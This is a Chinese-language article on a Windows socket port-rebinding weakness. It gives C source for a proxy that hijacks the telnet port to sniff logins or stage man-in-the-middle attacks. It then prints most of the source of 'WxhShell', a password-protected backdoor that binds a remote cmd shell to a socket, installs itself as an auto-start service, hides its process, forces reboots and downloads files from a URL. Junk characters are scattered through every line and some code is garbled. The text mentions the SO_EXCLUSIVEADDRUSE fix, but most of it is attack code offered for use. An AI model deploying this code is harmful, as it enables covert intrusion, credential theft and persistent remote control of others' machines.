在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
,&1DKx s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
5jTBPct 'ow`ej saddr.sin_family = AF_INET;
S|{'.XG *[-% .=[7 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
>>ncq$ \UdHN=A& bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
UUf-G0/P nnV(MB4z1 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Y 7a<3> SOq{`~,4B 这意味着什么?意味着可以进行如下的攻击:
~qG`~/7 Jv|uI1V 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
F3aOKV^ 0jlwL 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
hpxqL%r E0miX)AG 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
-gWqq7O | Vtd!9 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
#sn2Vmi Jzg>Y?jN R 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
SA| AS< N6"b
OxJ( 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
f
xWW"B*A "pDwN$c 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
FZW)C'j FY^[?lj #include
dU7+rc2,CU #include
h@5mVTb}i #include
TsPx"+>7` #include
^r u1QDT DWORD WINAPI ClientThread(LPVOID lpParam);
fgs){Ng` int main()
8| 6: {
yA8e"$ WORD wVersionRequested;
/.'tfy$ DWORD ret;
s<i& q {r WSADATA wsaData;
8E m X BOOL val;
"Dc6kn^}3 SOCKADDR_IN saddr;
*?zyF@K{% SOCKADDR_IN scaddr;
d+1q[,- int err;
2{v$GFc/ SOCKET s;
TTS.wBpR, SOCKET sc;
FCC9Ht8U? int caddsize;
}/ p>DMN HANDLE mt;
&i&k 4 DWORD tid;
QJL%J wVersionRequested = MAKEWORD( 2, 2 );
5AvbKT err = WSAStartup( wVersionRequested, &wsaData );
!$/1Q+ if ( err != 0 ) {
:N \j@yJK printf("error!WSAStartup failed!\n");
U#I8Rd I, return -1;
/B$9B }
`aj;FrF saddr.sin_family = AF_INET;
2VrO8q( 7q>Y)*V //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Xndgs}zz HA?<j|M saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
_I$\O5 saddr.sin_port = htons(23);
7~2b4"& if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
(vq0Gl {
i?.7o*w8 printf("error!socket failed!\n");
IXm}WTgF! return -1;
y;)j }
wUGSM"~
| val = TRUE;
W6_~.m"b //SO_REUSEADDR选项就是可以实现端口重绑定的
0Q81$% @< if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
<5R`E( {
rOt`5_2f printf("error!setsockopt failed!\n");
C%$:Oq return -1;
VJK?"mX }
^x Wu7q //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
}@kD&2 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
aZ[
aZU //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
1:7 uS. ~
.} if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
PSOW}Y|q {
e)pQh&uD ret=GetLastError();
,_STt) printf("error!bind failed!\n");
{XT3M{`rWL return -1;
^sLnKAN }
:L~{Q>o listen(s,2);
Q\pTyNAYn while(1)
=Kq/EDe {
}ze,6T*z caddsize = sizeof(scaddr);
3?x4+b //接受连接请求
6}Se$XMl sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
<Yzk]98W5. if(sc!=INVALID_SOCKET)
,G";ny[$ {
83 O+`f mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
{u3eel if(mt==NULL)
c-|~ABtEpX {
8VbHZ9Q printf("Thread Creat Failed!\n");
fOE8{O^W break;
X2X.&^ }
So&an ! }
s:_M+_7_ CloseHandle(mt);
^Z?X\t }
v9<7= D&x closesocket(s);
dQ&S&SW WSACleanup();
f L @rv return 0;
N!7r~B
}
WD wW` DWORD WINAPI ClientThread(LPVOID lpParam)
8Iz-YG~%3 {
]}4{|& e SOCKET ss = (SOCKET)lpParam;
wv.FL$f[@ SOCKET sc;
udRum7XW3 unsigned char buf[4096];
l>l)m-;O SOCKADDR_IN saddr;
aNZJs<3;'D long num;
-&4W0JK9 DWORD val;
yv.Y-c= DWORD ret;
m!{}Y]FZn //如果是隐藏端口应用的话,可以在此处加一些判断
cY%[UK $l //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
c\X0*GX saddr.sin_family = AF_INET;
'dE G\?v9 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
q+A^JjzT saddr.sin_port = htons(23);
'ZyHp=RN) if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
q4].C|7 {
RYU(z;+0p printf("error!socket failed!\n");
,XD'f return -1;
0((3q'[ < }
#41fRmzC val = 100;
=5NM
=K if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
R|7yhsJq, {
$
O1w6\}_ ret = GetLastError();
I\NiA>c return -1;
Q.5C$I }
gv&%2e} _ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
nZ;h&N-_- {
+f{CfWIKs ret = GetLastError();
. '3&!#3 return -1;
JNQiCK,)}M }
qT`sPEs;V if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
z^+`S: {
#St=% ! printf("error!socket connect failed!\n");
;aZ$qgN*Y closesocket(sc);
DP2 ^(d< closesocket(ss);
m$T?~oo return -1;
"qEi$a&] }
zdDn.
vG while(1)
aq~g54 {
'r KDw06/ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
g.AMCM?z //如果是嗅探内容的话,可以再此处进行内容分析和记录
wzX
1!? //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
RX-qL,dc num = recv(ss,buf,4096,0);
l,FK\ if(num>0)
dXAKk[uf send(sc,buf,num,0);
:HSqa9>wa else if(num==0)
~ vD7BO` break;
sE*A,z? num = recv(sc,buf,4096,0);
ENlqoj1 if(num>0)
X#l]%IrW! send(ss,buf,num,0);
b 9M.p*! else if(num==0)
Q'f!392| break;
1WGcv O)< }
V=<OV]0 closesocket(ss);
Pn )^mt closesocket(sc);
HGuY-f return 0 ;
A;e[-5@ }
!olvP*c" Yjv[rH5v N3P!<J/tc ==========================================================
[4)q6N5`f x+j5vzhG) 下边附上一个代码,,WXhSHELL
W"9?D ->DfT*) ==========================================================
IUX~dO y %dUry%> #include "stdafx.h"
Fs^d-I "Aw|
7XII #include <stdio.h>
\;0J6LBc #include <string.h>
Lod$&k@@ #include <windows.h>
q6Q;9 , #include <winsock2.h>
9N(<OY+Dgm #include <winsvc.h>
Dq/ _#&S #include <urlmon.h>
FA 1E`AdU LOY+^ #pragma comment (lib, "Ws2_32.lib")
L8<Yk`jx #pragma comment (lib, "urlmon.lib")
3y!yz3E [aM_.[bf #define MAX_USER 100 // 最大客户端连接数
AXBv']Y #define BUF_SOCK 200 // sock buffer
\cq
gCab/2 #define KEY_BUFF 255 // 输入 buffer
3nfw:. iz'#K?PF_ #define REBOOT 0 // 重启
} D5* #define SHUTDOWN 1 // 关机
,E]u[7A Wsb=SM7; #define DEF_PORT 5000 // 监听端口
$y!k)"k NB]T~_?]* #define REG_LEN 16 // 注册表键长度
^%X,Rml<e #define SVC_LEN 80 // NT服务名长度
;6N@raP7 6d~[M y // 从dll定义API
\tc`Aj%K typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
&FrW(>2 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
q7}$F]UM" typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
"hRw_< typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
vkmTd4g @kR/=EfS // wxhshell配置信息
V1R=` struct WSCFG {
<y${Pkrj int ws_port; // 监听端口
ien >Ou char ws_passstr[REG_LEN]; // 口令
@:$zReS2 int ws_autoins; // 安装标记, 1=yes 0=no
o'.6gZ gk char ws_regname[REG_LEN]; // 注册表键名
*&X. char ws_svcname[REG_LEN]; // 服务名
iqecm]Z0 char ws_svcdisp[SVC_LEN]; // 服务显示名
(5@9j char ws_svcdesc[SVC_LEN]; // 服务描述信息
8+Lig char ws_passmsg[SVC_LEN]; // 密码输入提示信息
w7Nb+/,sg int ws_downexe; // 下载执行标记, 1=yes 0=no
.Z=D|&! char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
WeGT} char ws_filenam[SVC_LEN]; // 下载后保存的文件名
L]{ 1"`# YQ>P{I%J };
;I'pC?!y
jKV,i? // default Wxhshell configuration
7&G[mOx0 struct WSCFG wscfg={DEF_PORT,
bK `'zi "xuhuanlingzhe",
c1j) 1,
/ZAS%_as "Wxhshell",
-Z&6PT7 "Wxhshell",
Gy36{* "WxhShell Service",
t0Q/vp*/ "Wrsky Windows CmdShell Service",
zn5 "Please Input Your Password: ",
x1)G!i 1,
O`e0r%SJ "
http://www.wrsky.com/wxhshell.exe",
oD,f5Ci- "Wxhshell.exe"
A3%s5`vNvH };
=~YmM<L 3=9yR** // 消息定义模块
aK'`yuN char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
]E90q/s@c char *msg_ws_prompt="\n\r? for help\n\r#>";
(;=:QjaoZ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
X&._<2 char *msg_ws_ext="\n\rExit.";
LPbZ. char *msg_ws_end="\n\rQuit.";
gvYib`# char *msg_ws_boot="\n\rReboot...";
PezUG{q( char *msg_ws_poff="\n\rShutdown...";
Yck(Fl char *msg_ws_down="\n\rSave to ";
E^S[8= jnFCtCB char *msg_ws_err="\n\rErr!";
{N+N4* char *msg_ws_ok="\n\rOK!";
Vm]ltiTVk P>%\pCJ]) char ExeFile[MAX_PATH];
8:,E=swe int nUser = 0;
-A}*Aa'\ HANDLE handles[MAX_USER];
gP.Q_/V int OsIsNt;
T{M~*5$ DB'pRo+U SERVICE_STATUS serviceStatus;
G.K3'^_ SERVICE_STATUS_HANDLE hServiceStatusHandle;
<Gzy*1Q& m`UNdFS // 函数声明
@L|X('i int Install(void);
k))*Sg int Uninstall(void);
jh.W$.Oq int DownloadFile(char *sURL, SOCKET wsh);
juuBLv int Boot(int flag);
'pOtd7Vr void HideProc(void);
R}4o{l6 int GetOsVer(void);
H<|I&nV int Wxhshell(SOCKET wsl);
eW)(u$C|qL void TalkWithClient(void *cs);
iZ+\vO?| int CmdShell(SOCKET sock);
"|pNS) int StartFromService(void);
UM%[UyYQ int StartWxhshell(LPSTR lpCmdLine);
Ee>P*7*jB h+|3\>/@9{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
ZjLzS]\a VOID WINAPI NTServiceHandler( DWORD fdwControl );
sqHvrI e47JLW&b // 数据结构和表定义
le`&VdE^ SERVICE_TABLE_ENTRY DispatchTable[] =
((rk)Q+;v {
N m-{$U {wscfg.ws_svcname, NTServiceMain},
VY8p[` {NULL, NULL}
D1bS=>
;," };
#V[?puE@ POTW+Zq] // 自我安装
|E-0P=h int Install(void)
:qy`!QPUm {
}gL9G char svExeFile[MAX_PATH];
~*-ar 6 HKEY key;
-bo2"*|m strcpy(svExeFile,ExeFile);
NtMK+y ws5x53K // 如果是win9x系统,修改注册表设为自启动
{e[S?1t=l if(!OsIsNt) {
l(9$s4R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
cH6ie?KvAo RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
f&t]O$ RegCloseKey(key);
KC o<% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Y-&r_s_~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
{s|rk RegCloseKey(key);
35Nwx< return 0;
(+>~6SE }
sd\>|N?' }
W<TW6_*e }
+4ax~fuU else {
V
?3>hQtB a_I!2w<I // 如果是NT以上系统,安装为系统服务
_lb ^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
ME~ga,|K if (schSCManager!=0)
]9)pFL {
(r`+q[ SC_HANDLE schService = CreateService
*=0Wh@?0 (
PEZElB; schSCManager,
ayyn6a8 wscfg.ws_svcname,
ed*Cx~rT wscfg.ws_svcdisp,
joDnjz= SERVICE_ALL_ACCESS,
!*u5HVn SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
@lAOi1m,, SERVICE_AUTO_START,
?HVsIAU SERVICE_ERROR_NORMAL,
]CH@T9d5V svExeFile,
?GU/Rf!H# NULL,
4NbX!"0 NULL,
noe1*2*T E NULL,
0"o<(1 NULL,
H~1la V NULL
oM-{)rvQd );
CmRn if (schService!=0)
NUb^!E" {
wNDLN`,^H CloseServiceHandle(schService);
%([$v6y CloseServiceHandle(schSCManager);
OYC4iI strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
JU:!lyd strcat(svExeFile,wscfg.ws_svcname);
pOD| if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
nWN~G RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
V4qHaG RegCloseKey(key);
]>/YU*\ return 0;
!`\W8JT+ }
sF]v$kq }
y?<[g;MuT CloseServiceHandle(schSCManager);
VgZ<T,SuW }
!^!<Xz; }
PB4E_0}h KM4w{ return 1;
F
}pS'Y }
+,7dj:0S c a_N76o! // 自我卸载
[e3|yE6 int Uninstall(void)
-'JTVfm. {
'*!R
gbj; HKEY key;
*jGB/ y mc|T}B if(!OsIsNt) {
vX)6N#D! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
yk#yrxM RegDeleteValue(key,wscfg.ws_regname);
qyUcjc%[ RegCloseKey(key);
lf0/0KH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Vv'
e,m RegDeleteValue(key,wscfg.ws_regname);
MTb}um.($ RegCloseKey(key);
PTA;a0A return 0;
n)} J< }
8Nxf2i5 }
>NB}Bc }
CSc*UX+ else {
l}335;( W)^:*z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
0ang~_ if (schSCManager!=0)
/OgXNIl] {
v Q+}rHf`[ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
3k;U#H if (schService!=0)
vi4 1` {
/`\-.S9 if(DeleteService(schService)!=0) {
vPmP<c)cb CloseServiceHandle(schService);
h@Ea$1'e, CloseServiceHandle(schSCManager);
dVVeH\o return 0;
b-]E-$Uz }
7;;W{W% CloseServiceHandle(schService);
ro@Zbm;P }
#i ?@S$ CloseServiceHandle(schSCManager);
N$pwTyk }
,9|% }
:m5&
i& ;VK;_d return 1;
Z/q%%(fh 0 }
tt[P{mMQ 98Srn63O // 从指定url下载文件
h |=^@F_\` int DownloadFile(char *sURL, SOCKET wsh)
HCHP15otfe {
E}k#-+u<S4 HRESULT hr;
eN/sW!:P| char seps[]= "/";
sl6p/\_w char *token;
v7Knu] char *file;
<ofXNv;` char myURL[MAX_PATH];
X$/3 char myFILE[MAX_PATH];
\q3H#1A
tyP-J4J strcpy(myURL,sURL);
f*XF"@ZQV token=strtok(myURL,seps);
z$7YC49^ while(token!=NULL)
edGV[=]F {
TzPx4L6? file=token;
j`,;J[Zd`h token=strtok(NULL,seps);
Hxb{bF }
;T#t)oV k%hD<_:p GetCurrentDirectory(MAX_PATH,myFILE);
E|97zc strcat(myFILE, "\\");
P|h<|Gcp strcat(myFILE, file);
OOl{ send(wsh,myFILE,strlen(myFILE),0);
Z ;% send(wsh,"...",3,0);
"oz@w'rG hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
pC8(>gV<h
if(hr==S_OK)
enG6T return 0;
`Z|sp else
U%oI* return 1;
N#7 ]xL 3
%DA { }
X&wK< 4bAgbx-^ // 系统电源模块
,;/4E int Boot(int flag)
EyBdL {
15yIPv+5 HANDLE hToken;
Td;e\s/] TOKEN_PRIVILEGES tkp;
Xid>8 Ub3,x~V if(OsIsNt) {
W**=X\"' OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
.kC}. Q_ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
H kg@M?( tkp.PrivilegeCount = 1;
n:wn(BC3 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
T"QY@#E AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
J3:P/n& if(flag==REBOOT) {
tH_#q"@) if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
IE_@:]K}Ja return 0;
v/m`rc]e }
v~jN,f* else {
~%<PEl| if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
LrPDpTd return 0;
I]k'0LG*^ }
{_q2kk }
46XB6z01 else {
T&R`s+7 if(flag==REBOOT) {
n|,Es!8:o if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
2~ 'Q#( return 0;
#m$H'O[WG\ }
Q@$1!9m else {
hJ}G5pX if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
c'G\AbUVjE return 0;
]6:5<NW }
>p<(CVX[ }
hA@X;Mh^w @W.`'b- return 1;
66|lQE&n }
dHp6G^Y L1F){8[ // win9x进程隐藏模块
s &.Z;X void HideProc(void)
il#rdJ1@t {
"Y%\qw/wq &McmA HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
_Jp_TvP> if ( hKernel != NULL )
kBONP^xI {
A%GJ|h,i pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
IcQ?^9%{ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
8p5'}Lq FreeLibrary(hKernel);
VqbiZOZ@ }
]$L[3qA. 5vpf; return;
RU{}qPs? }
1B1d>V$* RF;N]A?* // 获取操作系统版本
yjSN;3t71 int GetOsVer(void)
`2@-'/$\I| {
?DRC!
9o^ OSVERSIONINFO winfo;
Ee|@l3) winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
>N,G@{FR GetVersionEx(&winfo);
^#=L?e if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
H!Od.$ZIX return 1;
xO.7cSqgw else
$(NfHIX return 0;
~Fx[YPO, }
q6ikJ8E8b kl={L{r // 客户端句柄模块
5sE^MS1 int Wxhshell(SOCKET wsl)
{c J6Lq& {
y^nR=Q]_
SOCKET wsh;
eT|_0kx1 struct sockaddr_in client;
MO D4O4z& DWORD myID;
3jI.!xD` iM956 3v while(nUser<MAX_USER)
V\G>e{ {
A]J^{h0k int nSize=sizeof(client);
hD,-!R wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
AzV5Re8M if(wsh==INVALID_SOCKET) return 1;
va<+)b\ $`oA$E3 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
?UxY4m%R; if(handles[nUser]==0)
cpy"1=K~M closesocket(wsh);
iY($O/G[+ else
YL.z|{\e nUser++;
h49Q2` }
]SPB c WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
=&p bh J~}UG]j n return 0;
=aekY;/ }
[_0g^(` j~{2fd<> // 关闭 socket
i f"v4PHq void CloseIt(SOCKET wsh)
a2 SQ:d {
Stc\P]%d closesocket(wsh);
- VE#:& nUser--;
MCCZh{uo ExitThread(0);
ku{aOV% }
9=o
b: N\fT6#5B // 客户端请求句柄
nZT@d;]U9 void TalkWithClient(void *cs)
|-mazvA {
'
EDi6 Jt)~h,68 SOCKET wsh=(SOCKET)cs;
<2Q@^ char pwd[SVC_LEN];
Y/^<t'o& char cmd[KEY_BUFF];
K$
&wO. char chr[1];
gP<_DEd^` int i,j;
,YY#ed&l '-vyQ^ while (nUser < MAX_USER) {
n~ql]Ln Gw./qu-W if(wscfg.ws_passstr) {
\1!k)PZdTW if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
;1dz?'%V //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/'1y`j< //ZeroMemory(pwd,KEY_BUFF);
|W <:rT i=0;
/Ow?nWSt while(i<SVC_LEN) {
k$c
j|-< gctaarB& // 设置超时
Cm4*sN.&) fd_set FdRead;
bxN;"{>Xz struct timeval TimeOut;
F[u%t34' FD_ZERO(&FdRead);
p4t)Z#0 FD_SET(wsh,&FdRead);
sfV.X:ev TimeOut.tv_sec=8;
=l(JJ TimeOut.tv_usec=0;
*p3P\ H^5 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
SSXS if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
d0B+syl&4l A|J\X=5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
v2{O67j}
o pwd
=chr[0]; k~R[5W|'
if(chr[0]==0xd || chr[0]==0xa) { )
b10%n^
pwd=0; <C77_t
break; f*],j
} 7j:{rCp3J
i++; gp HwiFc
} 9qDGxW
'1
Dkb&/k:)
// 如果是非法用户,关闭 socket 2FzS_\":I
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RV`j>1
} =M5M;
P1wRt5
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H1nQ.P]_
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vR$5ItnT
&w0=/G/T=~
while(1) { ak>NKK8P
1 =<|h
ZeroMemory(cmd,KEY_BUFF); b..$5
pG
@iR*?
// 自动支持客户端 telnet标准 IFxI>6<&
j=0; _w;+Jh
while(j<KEY_BUFF) { md"%S-a_dT
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5@$4.BGcF
cmd[j]=chr[0]; kDq%Y[6Z
if(chr[0]==0xa || chr[0]==0xd) { 3(+#^aw
cmd[j]=0; r%pFq1/'!
break; k_>{"Rc
} !h!9SE
j++; ^ kvH/ Y&
} MjB[5:s
"6yiQ\`J
// 下载文件 Jt6J'MOq
if(strstr(cmd,"http://")) { bFezTl{M
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5V~p@vCx
if(DownloadFile(cmd,wsh)) A=UIN!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fz&ilB
else 0@lC5-=
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &|}IBu :T
} L_"(A
#H:
else { T''+zk
Ts .Zl{B
switch(cmd[0]) { Ki/5xK=s
Xp6*Y1Y
// 帮助 c)MR+'d\WO
case '?': { ]Cn*C{
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r)(BT:2m
break; X'7S|J6s
} jHH
// 安装 O/9%"m:i
case 'i': { WG
!t!1p
if(Install()) rs Uw(K^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Us,[x Q
else JjLyV`DJ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >x
ghq
break; PbUcbb17
} @O}j:b
// 卸载 sLdUrD%
case 'r': { 3C=clB9<
if(Uninstall()) 6bKO;^0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dh No +"!z
else Sn2Ds)Pfx3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qMES<UL>
break; k(z<Bm
} xg,]M/J
// 显示 wxhshell 所在路径 NK9WrUj)
case 'p': { =8p+-8M[d
char svExeFile[MAX_PATH]; ASZ5;N4u
strcpy(svExeFile,"\n\r"); <nTmZ-;
strcat(svExeFile,ExeFile); ef}E.Bl
send(wsh,svExeFile,strlen(svExeFile),0); 3
9{"T0
break; eM=) >zl
} lzs(i2pA
// 重启 *rcuhw"^b#
case 'b': { S"TMsi
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OI_/7@L
if(Boot(REBOOT)) ESxC{
"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /~l/_Jct@G
else { }&T<wm!
closesocket(wsh); Of7) A
ExitThread(0); 7Sz'vyiz
} >'-w%H/
break; ix7
e])m(
} ]9&q'7*L
// 关机 YD46Z~$
case 'd': { _8b]o~[Z+
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {IPn\Bka
if(Boot(SHUTDOWN)) MAe<.DHY
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `x$}~rP&)!
else { 'CX.qxF1;p
closesocket(wsh);
n22hVw
ExitThread(0); xcZ%,7
} f'6qJk%J
break; Uk*;C
} iCnUnR{
// 获取shell TdP{{&'9
case 's': { LlA`QLe
CmdShell(wsh); rw8J:?0x
closesocket(wsh); nN=:#4
>Y
ExitThread(0); pO/SV6N
break; vbA7I<;
} nK jeH@
// 退出 \gp,Txueb
case 'x': { AO}i@YJth
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _Hd1sx
CloseIt(wsh); A_jB|<bjTP
break;
sO6g IPU^
} -[=AlqL
// 离开
AZy~Q9Kc
case 'q': { -':"6\W
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9IvcKzS2
closesocket(wsh); RZd4(7H=q
WSACleanup(); >2lAy:B5
exit(1); )-.Cne;n
break; k?["F%)I
} fmnRUN=
} ,"N3k(g
} RUS7Z~5
JMirz~%ib
// 提示信息 r ,3Ww2X-
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RD6h=n4B
} g<2lPH
} r%y;8$/-
mo|PrLV
return; #FqFH>-*2
} 4>$
;gH
^p"4)6p-W
// shell模块句柄 h\=p=M
int CmdShell(SOCKET sock) h/1nm U]
{ hsHVX[<5`
STARTUPINFO si; D%jD8 p
ZeroMemory(&si,sizeof(si)); }RA3$%3
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; foFg((tS
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \3Q:K|
PROCESS_INFORMATION ProcessInfo; +EST58
char cmdline[]="cmd"; ol?z<53X]
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "[Qb'9/Jc
return 0; =j|v0&
AGC
} t,=@hs
hN
x2j/8]'o
// 自身启动模式 (o x4K{
int StartFromService(void) 2vqmsl?
{ *Z]5!$UpC
typedef struct mJ8{lXq3!
{ {t844La"
DWORD ExitStatus; 1Lm].tq
DWORD PebBaseAddress; I~p8#<4#b
DWORD AffinityMask; Y!Uu173
DWORD BasePriority; PPwxk;
ULONG UniqueProcessId; (30<oE{
ULONG InheritedFromUniqueProcessId; ^MW\t4pZ
} PROCESS_BASIC_INFORMATION; i{tTUA
